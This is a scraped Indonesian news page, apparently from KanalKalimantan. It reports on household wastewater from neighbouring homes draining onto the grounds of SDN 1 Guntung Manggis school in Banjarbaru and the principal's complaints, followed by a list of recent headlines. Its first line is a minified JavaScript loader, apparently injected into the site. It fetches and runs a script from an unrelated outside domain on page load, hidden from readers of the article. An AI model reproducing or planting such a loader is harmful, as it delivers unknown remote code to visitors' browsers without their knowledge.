(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Buangan Limbah Rumah Tangga Warga Masuk ke SDN 1 Guntung Manggis


BANJARBARU, Sejumlah rumah warga di komplek Candra Utama mengalirkan limbah rumah tangga SDN 1 guntung manggis 1 yang berada di jalan A Yani Km 31. Sejumlah pipa limbah rumah tangga terlihat mengarah ke lahan milik SDN tersebut.

Kondisi pembuangan limbah hasil produk rumah tangga tersebut sudah berlangsung lama. Puncaknya saat di musim hujan, limbah rumah tangga itu mengalir hinggs masuk ke halaman SDN 1 guntung manggis dan menimbulkan bau tidak sedap.

Praktis kondisi tak nyaman itu membuat proses belajar mengajar di SDN 1 guntung manggis menjadi terganggu. Apalagi saat ini SDN 1 guntung manggis menyandang status sekolah adiwiyata.

Tidak hanya itu saja, ada satu bangunan di depan, diduga bangunan tersebut membangun septic tank masuk ke lahan sekolah ini. Padahal di depan rumah warga terdapat saluran drainase.

Keluhan kondisi beberapa rumah warga yang membuang limbah ke wilayah SDN 1 guntung manggis ini diutarakan langsung Kepala Sekolah SDN 1 guntung manggis Asmara Murni.

Kepsek SDN 1 guntung manggis mengaku pihak sekolah sudah pernah dan bahkan sering menegur sekaligus mempertanyakan kondisi tersebut kepada warga yang membuang air limbah ke lahan sekolah.

Sekedar diketahui ada sekitar 4 rumah warga yang berdempetan dengan SDN 1 guntung manggis yang membuang limbah rumah tangga ke lahan sekolah.

“Sudah pernah kami tanyakan tapi ya itu masih saja tidak ditanggapi warga pemilik rumah, karena sudah meresahkan bagi warga sekolah kami, masalah ini kami akan laporkan Pemkot Banjarbaru,” ujarnya.

Surwanto, penjaga sekolah SDN 1 Guntung Payuung mengungkapkan, gorong-gorong yang ada di SDN 1 guntung manggis sangat kecil, akibat limbah ini saluran yang tersumbat menyebabkan saat air limbah saat musim hujan akan meluap dan membanjiri sekolah.

“Kalau hujan, itu halaman di depan bakal banjir, bahkan rumah saya juga ikut kena luapannya,” ujarnya.

Warga sendiri berdalih, mereka tidak mempunyai pembuangan limbah karna perumahan sudah tertutup bangunan semua. (rico)

Reporter: Rico
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Dilakban di Paha, Empat Orang di Bandara Juwata Tarakan Selundupkan 4 Kg Sabu

KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More

7 jam ago

Satgas TMMD Bikin Sumur Bor untuk Warga Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More

8 jam ago

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 10 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

11 jam ago

Embarkasi Banjarmasin Berangkatkan 5.759 JCH Kalsel-Kalteng, Pelayanan Penuh Jemaah Lansia

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More

12 jam ago

Caleg Terpilih Tak Harus Mundur Jika Maju Pilkada, Begini Penjelasan Ketua KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More

14 jam ago

Lepas Keberangkatan 320 Calon Haji, Ini Pesan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More

15 jam ago

This website uses cookies.